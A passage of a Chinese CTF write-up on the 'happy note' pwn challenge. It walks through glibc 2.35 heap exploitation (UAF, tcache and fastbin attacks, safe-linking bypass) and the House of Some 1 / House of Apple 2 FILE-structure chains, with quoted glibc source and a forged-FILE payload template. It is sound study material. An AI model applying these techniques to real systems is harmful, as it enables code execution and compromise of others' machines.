上次讲了House of Some 2,这次讲讲House of Some 1,然后换一道题,看看巅峰极客 2022的happy note

题目:https://www.nssctf.cn/problem/2567

调试的libc源码:https://ftp.gnu.org/gnu/libc/glibc-2.35.tar.gz

题目用的libchttps://libc.blukat.me/d/libc6_2.35-0ubuntu3_amd64.so

漏洞点·

先看delete,在free之后有对指针置0,防止了uaf

但是在选择的时候输入666的话可以进入后门,能够触发1次的uaf

所以剩下的就要考虑怎么利用这仅有的一次uaf去打

再来看看add,有12个坑位,可以分配小于等于0x210的堆块,另外有两种模式:

  • 如果设置mode = 1,就采用calloc的方式来分配堆块,这个mode比较麻烦,首先用calloc的堆块在分配后会把其中的内容全部填为\x00,然后calloc并不会触发tcache机制,也就是它不会拿tcachebin的堆块
  • 如果设置mode = 2,则采用熟悉的malloc进行堆块分配,但是这个mode只能选择2

最后,在delete里面有一个exit_IO_FILE的角度看,就可以用exit链去打,当然在很多地方都有puts,所以也可以用puts链去打

攻击思路·

总结下来,难点就是,要用1uaf2malloc和多次calloc去打libc-2.35的堆

失败的攻击思路(NG)·

先来看一个失败的例子

这个例子的失败是因为我当时以为callocmalloc的不同只在于会置\x00,而不知道不会触发tcache

如果把calloc改成mallocmemset的话这个做法或许会成功

PS:没兴趣的可以直接跳过这一节

Part.1 劫持tcache_perthread_struct·

为了突破限制,我首先想到的是可以像笔记vol.1里说的,劫持tcache_perthread_struct

劫持tcache_perthread_struct后,一个是可以修改tcachebincounts7,让下一个堆块直接被freeunsorted中,另一个是可以控制entrices,实现多次的任意地址写

为了劫持tcache_perthread_struct,可以利用tcachebin做攻击

首先add两个堆块chunk0chunk1,然后用delete去删除chunk1,用后门去删除chunk0,就会在tcachebin上得到

1
-> chunk0 -> chunk1 -> NULL

接着用uaf去把chunk0fd指向tcache_perthread_struct,就是

1
-> chunk0 -> tcache_perthread_struct -> 0

接着进行两次addmode = 2)就可以把堆块分配到tcache_perthread_struct

到这里有个问题是,libc-2.35上有PROTECT_PTR保护,在不知道heap_base的情况下,不能让chunk0fd指向tcache_perthread_struct

而这里也不能像笔记vol.3那样,直接分配1个堆块然后去泄露heap_baseASLR,因为在__libc_malloc中调用tcache_gettcachebin的堆块前,会有一句检查

1
tcache->counts[tc_idx] > 0

所以也就需要有2个堆块,才能保证堆块能被分配到tcache_perthread_struct

那么在不知道heap_base的情况下能不能搞呢,这里就有一个trick

首先利用uaf可以从chunk0中泄露一个被PROTECT_PTR保护保护的堆地址,也就是

1
PROTECT_PTR(&chunk1) = ASLR ^ &chunk1

其中chunk1的地址是固定的,也就是已知的,假设chunk1tcache_perthread_structASLR相同的话(这个大概率相同,不同的话也可以绕一下),那么就可以对低12比特计算

1
2
3
4
  PROTECT_PTR(&chunk1) ^ &chunk1 ^ &tcache_perthread_struct
= ASLR ^ &chunk1 ^ &chunk1 ^ &tcache_perthread_struct
= ASLR ^ &tcache_perthread_struct
= PROTECT_PTR(&tcache_perthread_struct)

得到被PROTECT_PTR保护的tcache_perthread_struct地址

把这个地址写到chunk0fd上就可以了

Part.2 泄露heap_base·

理论上这样一番操作后就很难摸到上面的chunk1了,而heap_baseASLR就在chunk1fd

那咋办呢,先来看看tcache_perthread_struct上是什么情况

复习一下,在分配tcachebin的堆块时,会调用的tcache_get函数

1
2
3
4
5
6
7
8
9
10
11
12
13
/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("malloc(): unaligned tcache chunk detected");
tcache->entries[tc_idx] = REVEAL_PTR (e->next);
--(tcache->counts[tc_idx]);
e->key = 0;
return (void *) e;
}

假设这时有e->next = 0d的话,那么tcache->entries[tc_idx]上写的就是

1
REVEAL_PTR (e->next) = ASLR ^ 0 = ASLR

也就是在写chunk0fd时,只要保证分配在tcache_perthread_struct上的堆块的fd0,那么对应的entrices上就会有heap_baseASLR

剩下的问题就是怎么把这个heap_baseASLR读出来,在show函数中是通过%sprintf输出,所以会有\x00截断

解决方法是,在前面填非\x00字符到需要读的位置,读出来后把填充的字符截掉就好了,比如我填字符0

Part.3 泄露libc_base·

泄露完heap_base之后,需要恢复tcache_perthread_struct,不然后面的tcache机制会乱掉

恢复的时候可以顺便利用tcache_perthread_struct泄露libc_base

还记得前面Part.1的时候在tchchebin上有

1
-> chunk0 -> tcache_perthread_struct -> 0

然后再add了两个堆块

假设这两个堆块叫chunk2chunk3,那么chunk3就是tcache_perthread_struct上的那个堆块,而chunk2chunk0其实是同一个堆块(因为uaf

那么接下来如果把chunk2deleteunsortedbin,那么就可以通过chunk0泄露libc_base

现在已经劫持了tcache_perthread_struct,所以有一个快捷的方法是,把对应的tcachebincounts填成7,那么就相当于把tcachebin填满了

这时把chunk2delete就会落到unsortedbin

Part.4 然后呢·

然后我就想可以通过修改tcache_perthread_structentrices实现任意地址写

但是发现,calloc并不能触发tcache机制

2次的malloc机会在上面已经用完了

然后就寄了

成功的攻击思路·

到目前为止,有一个一直被我忽略的老东西,就是fastbin

下面看看要怎么用fastbin

Part.1 泄露heap_base·

先来总结一下,泄露堆上信息大概有三种方法

  1. 利用uaf,在free后可以直接用show泄露
  2. tcachebin中(或者fastbin),用mode = 2malloc分配堆块,就不会擦除除e->key以外的信息
  3. 利用fastbin attack构造堆块重叠,然后读重叠的内容,这个后面会用到,后面再细说

在这里我用的是uaf的方法,因为我刚好需要对那个堆块进行uaf

上面说了,需要用到fastbin,所以需要先分配70x80(或者以下)的堆块,然后再分配10x80的堆块,不妨把最后分配的这个堆块叫做chunk11(为了方便前面的for循环,所以我把这个堆块放到了最后)

接着把前面7个堆块delete掉,再利用后门把chunk11free掉,这样因为tcachebin被填满了,所以chunk11就会落到fastbin中,形成

1
-> chunk11 -> NULL

这时直接对chunk11进行show就可以泄露heap_baseASLR

PS:注意,fastbintcachebin用的同一套PROTECT_PTR机制

Part.2 泄露libc_base·

libc_base就有点复杂,大概就是用fastbin attack构造堆块重叠

首先跟Part.1的类似,先分配80x210的堆块(物理地址上是chunk0 - chunk7),然后为了在尽量少分配堆块的情况下分割top_chunk,我先把chunk7delete,然后依次deletechunk0chunk6,那么chunk6就会落到unsortedbin

1
2
tcachebin    -> chunk5 -> ... ... -> chunk0 -> chunk7 -> NULL 
unsortedbin <-> chunk6

这样chunk6上就有了libc的地址,剩下的问题是怎么把这个地址泄露出来

在Part.1中,已经对chunk11做了一次uaf,那么接下来可以利用uafchunk11fd指向chunk6fd,然后把chunk6fd读出来

PS:fastbin中没有tcachebincounts机制,所以一个堆块也可以这样搞

理论是如此,但实际上是不行的,因为在malloc.c:3857_int_malloc中有一句检查

1
2
3
4
5
6
7
8
9
10
/* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)


idx = fastbin_index (nb);
... ...
size_t victim_idx = fastbin_index (chunksize (victim));
if (__builtin_expect (victim_idx != idx, 0))
malloc_printerr ("malloc(): memory corruption (fast)");

从结果上来说,就是分配到的地方要有一个合理的堆块头,而且头部中的mchunk_size要和fastbin中的大小对应

还记得chunk5是在chunk6的物理地址上方,那么解决方法就可以是,在chunk5中写上一个假的fastbin堆块,然后让chunk11fd指向这个假的堆块

1
fastbin -> chunk11 -> fake_chunk (in chunk5) -> ??

这样在进行两次mode = 1calloc后,就可以把堆块分配到fake_chunk

这里不妨令第一次分配的叫chunk10,第二次分配的叫chunk9,那么chunk10chunk11其实就是同一个堆块,而chunk9就是chunk5里面的fake_chunk

最后就是用fake_chunkchunk9)怎么泄露chunk6中的libc地址

注意这里的chunk9是用calloc分配的,在分配后会把堆块中的内容置\x00,所以需要避免chunk6中的地址被擦除

另一个问题是show会被\x00截断,所以还要避免chunk9chunk6的内容之间含有\x00

解决方法可以是,在add时给一个0x*8的大小,比如我给一个0x78的大小,然后把fake_chunk的头写到chunk6bk的前0x78的位置

这样操作后,只要把chunk9填上非\x00字符,那么show就会得到填充字符接上chunk6bk,于是就可以泄露libc_base

PS:0x*8是为了堆块的16字节对齐,另外因为unsortedbin是双链表,所以bk指针也会有main_arena的地址

Part.3 构造任意写·

到目前还剩下2mode = 2malloc没有用,也就是还可以做一次tcachebin attack

看看目前tcachebin的情况

1
tcachebin -> chunk5 -> ... ... -> chunk0 -> chunk7 -> NULL 

于是可以修改chunk5fd,指向任意想要写的位置,然后进行2mode = 2malloc

chunk5fd的方法也是fastbin attack

注意在Part.2的操作后,chunk10chunk11是同一个堆块

那么就可以先在chunk4写上假的堆块头,然后把chunk10delete掉,用chunk11chunk10fd改到chunk4上的fake_chunk

1
fastbin -> chunk10 -> fake_chunk (in chunk4) -> ??

最后进行两次0x78add把堆块分配到chunk4fake_chunk

这里不妨假设第一次add的是chunk10delete会置0,所以没毛病),第二次的是chunk8

那么chunk10又是和chunk11是同一个堆块,chunk8chunk4里面的fake_chunk

fake_chunk的头可以是chunk5->key前的0x78字节,这样的话甚至还不用泄露tcache_key

Part.4 House of Some 1·

最后的问题是,任意写应该写什么

这里可以写0x200个字节,而且也有puts,所以可以像笔记vol.4那样去打House of Some 2

但这题有exit,所以可以用更方便的House of Some 1

之所以说方便,是因为 @CSOME 直接提供了自动化脚本(实际上自己手动打一点也不方便…)

我要做的只需要往一个地方写上他提供的payload,然后往_IO_list_all写上payload的地址即可

具体可见下面自动化House of Some 1的Exp

House of Some 1·

依赖自动化可不是个好习惯,既然是学习笔记那就应该要学一下其中的原理

理论上这条链是在House of Apple 2上发展而来的(虽然后面并没用到),我这属于越级打怪了…

但是有了前面几篇笔记的知识其实也能看懂

这里可以先去看看House of Some 1的原文:Bring back the stack attack – House of some一种高版本glibc的利用思路

exit链·

先复习一下之前在笔记vol.3中提到的exit攻击链,有

1
2
3
4
5
exit (int status)
> __run_exit_handlers (status, &__exit_funcs, true, true)
==> _IO_cleanup (void)
====> _IO_flush_all_lockp (0) // for fp in _IO_list_all:
======> _IO_OVERFLOW (fp, EOF)

重点关注里面的_IO_flush_all_lockp函数,在libio/genops.c:685

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;

#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif

for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF) // <=
result = EOF;

if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}

#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif

return result;
}

_IO_flush_all_lockp中,对于以_IO_list_all为链头的链表的每个fp,会执行_IO_OVERFLOW (fp, EOF)

再看一下原生的_IO_list_all链上面有什么,根据libio/stdfiles.c

1
2
3
4
5
6
7
8
9
# define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \
... ...

DEF_STDFILE(_IO_2_1_stdin_, 0, 0, _IO_NO_WRITES);
DEF_STDFILE(_IO_2_1_stdout_, 1, &_IO_2_1_stdin_, _IO_NO_READS);
DEF_STDFILE(_IO_2_1_stderr_, 2, &_IO_2_1_stdout_, _IO_NO_READS+_IO_UNBUFFERED);

struct _IO_FILE_plus *_IO_list_all = &_IO_2_1_stderr_;
libc_hidden_data_def (_IO_list_all)

就是

1
_IO_list_all -> _IO_2_1_stderr_ -> _IO_2_1_stdout_ -> _IO_2_1_stdin_ -> NULL

所以如果我伪造一个struct _IO_FILE_plus结构(假设叫fake_file吧),然后修改_IO_list_all指向fake_file,或者修改stderrstdoutstdinfile_chain指针,让其指向fake_file,那么就可以执行fake_file_IO_OVERFLOW函数

具体执行什么可以通过fake_filevtable控制

多次执行(自持)·

然后问题就到了_IO_OVERFLOW该指向什么函数

首先执行一次是不够的,所以要考虑如何实现多次的函数执行

House of Some 2的递归调用不同的是,这里的_IO_flush_all_lockp会遍历_IO_list_all链上的每个fp,并执行_IO_OVERFLOW (fp, EOF)

那么只要在伪造的fp上让_chain指针指向下一个伪造的fp,然后让下一个fp_chain指向下下个fp,如此反复,就可以执行多个函数

于是问题就变成了该执行什么函数

这里就直接上帝视角,根据 @CSOME 的思路,可以把控制流劫持到栈上,那么需要做的大概有三件事情

  1. 泄露栈地址
  2. rop写到栈上
  3. 把控制流劫持到rop

另外还有两件隐藏的事情

一个是上面的2需要1有输出后才能执行,所以1执行结束后还要通过read或类似的函数把新的fp写到_IO_list_all链上,以维持2的函数执行

另一个是,本地和远程的栈结构可能会不一样,于是就需要泄露栈上的数据,然后找到返回地址在栈上的地址

那么就是加上

  1. 执行read写入伪造的fp,维持_IO_list_all链上的控制流
  2. 泄露ret附近的数据,找到写rop的地址

整理一下这几件事的顺序,大概要伪造6fp

  1. fp0_IO_list_all链头指向的第一个fp,主要负责在限制长度的情况下通过read实现更多字节的输入,也就是写入下面的fp1fp2

    PS:其实这题的0x200字节好像是够的,那么就直接从fp1开始也可以

  2. fp1负责通过write泄露栈地址,可以通过environ泄露

  3. fp2负责在知道栈地址后通过read写入fp3fp4,维持_IO_list_all链上的控制流

  4. fp3负责泄露栈上的数据,找到写rop的地址

  5. fp4负责通过read写入fp5

  6. fp5负责写入rop,并且设置_chain0,让函数返回

write和read·

总结一下,上面的几个操作都只要调用writeread就好了

那么看看要怎么调

如何调用write·

先来说简单的,write可以直接调用_IO_file_overflow,在libio/fileops.c:730

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
int
_IO_new_file_overflow (FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
/* Otherwise must be currently reading.
If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting the
read pointers to all point at the beginning of the block). This
makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving that
alone, so it can continue to correspond to the external position). */
if (__glibc_unlikely (_IO_in_backup (f)))
{
size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
_IO_free_backup_area (f);
f->_IO_read_base -= MIN (nbackup,
f->_IO_read_base - f->_IO_buf_base);
f->_IO_read_ptr = f->_IO_read_base;
}

if (f->_IO_read_ptr == f->_IO_buf_end)
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;

f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base, // <=
f->_IO_write_ptr - f->_IO_write_base);
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
}
libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)

_IO_flush_all_lockp中调用的是_IO_OVERFLOW (fp, EOF),所以如果让_IO_OVERFLOW指向_IO_new_file_overflow的话,就可以触发其中的

1
2
3
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);

其中_IO_do_write也在libio/fileops.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int
_IO_new_do_write (FILE *fp, const char *data, size_t to_do)
{
return (to_do == 0
|| (size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)

static size_t
new_do_write (FILE *fp, const char *data, size_t to_do)
{
size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do); // <=
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}

拼起来,也就是可以执行

1
write(fp->_fileno, fp->_IO_write_base, fp->_IO_write_ptr - fp->_IO_write_base)

另外,注意在_IO_new_file_overflow中还有下面那一堆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
  /* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
... ...
if (f->_IO_read_ptr == f->_IO_buf_end)
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;

f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
}

为了避免它修改我设置好的_IO_write_base_IO_write_ptr,最好给_flags设置上_IO_CURRENTLY_PUTTING,避免进入这个if语句

payload·

给一个参考的payload模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def write_template(buf, nbytes, next_fp):
# write(fp->_fileno, fp->_IO_write_base, fp->_IO_write_ptr - fp->_IO_write_base)
payload = flat({
0x00: 0x800, # _flags => _IO_CURRENTLY_PUTTING
# in _IO_new_file_overflow,
# bypass (f->_flags & _IO_CURRENTLY_PUTTING) == 0
0x10: buf, # _IO_read_end => in new_do_write,
# bypass fp->_IO_read_end != fp->_IO_write_base
0x20: buf, # _IO_write_base => read buf
0x28: buf + nbytes, # _IO_write_ptr => read nbytes
# in _IO_flush_all_lockp,
# fp->_IO_write_ptr > fp->_IO_write_base
0x68: next_fp, # _chain
0x70: 1, # _fileno => read fd, stdin
0xc0: 0, # _mode => in _IO_flush_all_lockp,
# fp->_mode <= 0
0xd8: libc_IO_file_jumps, # vtable => _IO_OVERFLOW -> _IO_new_file_overflow
}, filler=b"\x00")
return payload

如何调用read·

read的调用会稍微复杂一点

_IO_new_file_underflow(NG)·

首先看一个失败的例子

笔记vol.4中有说过,在_IO_new_file_underflow里面有一个_IO_SYSREAD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
int
_IO_new_file_underflow (FILE *fp)
{
ssize_t count;

/* C99 requires EOF to be "sticky". */
if (fp->_flags & _IO_EOF_SEEN)
return EOF;

if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;

if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}

/* FIXME This can/should be moved to genops ?? */
if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
{
/* We used to flush all line-buffered stream. This really isn't
required by any standard. My recollection is that
traditional Unix systems did this for stdout. stderr better
not be line buffered. So we do just that here
explicitly. --drepper */
_IO_acquire_lock (stdout);

if ((stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
== (_IO_LINKED | _IO_LINE_BUF))
_IO_OVERFLOW (stdout, EOF);

_IO_release_lock (stdout);
}

_IO_switch_to_get_mode (fp); // <=

/* This is very tricky. We have to adjust those
pointers before we call _IO_SYSREAD () since
we may longjump () out while waiting for
input. Those pointers may be screwed up. H.J. */
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
= fp->_IO_buf_base;

count = _IO_SYSREAD (fp, fp->_IO_buf_base, // <=
fp->_IO_buf_end - fp->_IO_buf_base);
if (count <= 0)
{
if (count == 0)
fp->_flags |= _IO_EOF_SEEN;
else
fp->_flags |= _IO_ERR_SEEN, count = 0;
}
fp->_IO_read_end += count;
if (count == 0)
{
/* If a stream is read to EOF, the calling application may switch active
handles. As a result, our offset cache would no longer be valid, so
unset it. */
fp->_offset = _IO_pos_BAD;
return EOF;
}
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count);
return *(unsigned char *) fp->_IO_read_ptr;
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)

注意在_IO_new_file_underflow中会调用_IO_switch_to_get_mode函数,这东西在libio/genops.c:163

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int
_IO_switch_to_get_mode (FILE *fp)
{
if (fp->_IO_write_ptr > fp->_IO_write_base)
if (_IO_OVERFLOW (fp, EOF) == EOF) // <=
return EOF;
if (_IO_in_backup (fp))
fp->_IO_read_base = fp->_IO_backup_base;
else
{
fp->_IO_read_base = fp->_IO_buf_base;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
}
fp->_IO_read_ptr = fp->_IO_write_ptr;

fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = fp->_IO_read_ptr;

fp->_flags &= ~_IO_CURRENTLY_PUTTING;
return 0;
}
libc_hidden_def (_IO_switch_to_get_mode)

其中又调用了_IO_OVERFLOW

1
2
3
if (fp->_IO_write_ptr > fp->_IO_write_base)
if (_IO_OVERFLOW (fp, EOF) == EOF)
return EOF;

而现在_IO_OVERFLOW指向的是_IO_new_file_underflow,所以就会实现

1
_IO_OVERFLOW -> _IO_new_file_underflow -> _IO_switch_to_get_mode -> _IO_OVERFLOW -> _IO_new_file_underflow -> ...

的递归无限循环,于是就需要让fp->_IO_write_ptr > fp->_IO_write_base为假,防止进入_IO_OVERFLOW

绕过后理论上让_IO_OVERFLOW指向_IO_new_file_underflow,就可以执行

1
_IO_SYSREAD(fp->_fileno, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base)

但问题是,如果_IO_OVERFLOW指向_IO_new_file_underflow的话(比如&_IO_file_jumps + 0x8),_IO_SYSREAD就会指向_IO_new_file_write,所以就只能执行

1
write(fp->_fileno, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base)

导致失败

House of Apple 2·

来看看 @CSOME 博客中写的方法是怎么解决的

可以利用House of Apple 2的链,入口是_IO_wfile_overflow,在libio/wfileops.c:406

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f); // <=
_IO_free_wbackup_area (f);
_IO_wsetg (f, f->_wide_data->_IO_buf_base,
f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);

if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
}
else
{
/* Otherwise must be currently reading. If _IO_read_ptr
(and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting
the read pointers to all point at the beginning of the
block). This makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving
that alone, so it can continue to correspond to the
external position). */
if (f->_wide_data->_IO_read_ptr == f->_wide_data->_IO_buf_end)
{
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_wide_data->_IO_read_end = f->_wide_data->_IO_read_ptr =
f->_wide_data->_IO_buf_base;
}
}
f->_wide_data->_IO_write_ptr = f->_wide_data->_IO_read_ptr;
f->_wide_data->_IO_write_base = f->_wide_data->_IO_write_ptr;
f->_wide_data->_IO_write_end = f->_wide_data->_IO_buf_end;
f->_wide_data->_IO_read_base = f->_wide_data->_IO_read_ptr =
f->_wide_data->_IO_read_end;

f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;

f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_wide_data->_IO_write_end = f->_wide_data->_IO_write_ptr;
}
if (wch == WEOF)
return _IO_do_flush (f);
if (f->_wide_data->_IO_write_ptr == f->_wide_data->_IO_buf_end)
/* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return WEOF;
*f->_wide_data->_IO_write_ptr++ = wch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && wch == L'\n'))
if (_IO_do_flush (f) == EOF)
return WEOF;
return wch;
}
libc_hidden_def (_IO_wfile_overflow)

其中调用了_IO_wdoallocbuf,在libio/wgenops.c:364

1
2
3
4
5
6
7
8
9
10
11
12
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF) // <=
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)

调用了_IO_WDOALLOCATE (fp)

笔记vol.4中学习了House of Some 2后,应该知道vtable_wide_vtable是独立的,所以这里可以在不影响vtable的情况下,让_IO_WDOALLOCATE指向任意函数

于是就可以让_IO_WDOALLOCATE指向_IO_new_file_underflow,这样就可以在_IO_SYSREAD指向_IO_file_read的情况下调用

1
read(fp->_fileno, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base)

合起来也就是

1
2
3
4
5
6
7
8
exit (int status)
> __run_exit_handlers (status, &__exit_funcs, true, true)
==> _IO_cleanup (void)
====> _IO_flush_all_lockp (0) // for fp in _IO_list_all:
======> _IO_wfile_overflow (fp, EOF) // _IO_OVERFLOW
========> _IO_wdoallocbuf (fp)
==========> _IO_new_file_underflow (fp) //_IO_WDOALLOCATE
============> read(fp->_fileno, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base)

House of Illusion·

如果看 @CSOME 的最新Commit(目前是44c61be),会发现根本不是用House of Apple 2链打的,而是用House of Illusion

先看看_IO_file_finish函数,在libio/fileops.c:167

1
2
3
4
5
6
7
8
9
10
11
12
void
_IO_new_file_finish (FILE *fp, int dummy)
{
if (_IO_file_is_open (fp))
{
_IO_do_flush (fp);
if (!(fp->_flags & _IO_DELETE_DONT_CLOSE))
_IO_SYSCLOSE (fp);
}
_IO_default_finish (fp, 0);
}
libc_hidden_ver (_IO_new_file_finish, _IO_file_finish)

调用了_IO_do_flush_IO_SYSCLOSE

先看_IO_do_flush,在libio/libioP.h:507

1
2
3
4
5
6
7
#define _IO_do_flush(_f) \
((_f)->_mode <= 0 \
? _IO_do_write(_f, (_f)->_IO_write_base, \
(_f)->_IO_write_ptr-(_f)->_IO_write_base) \
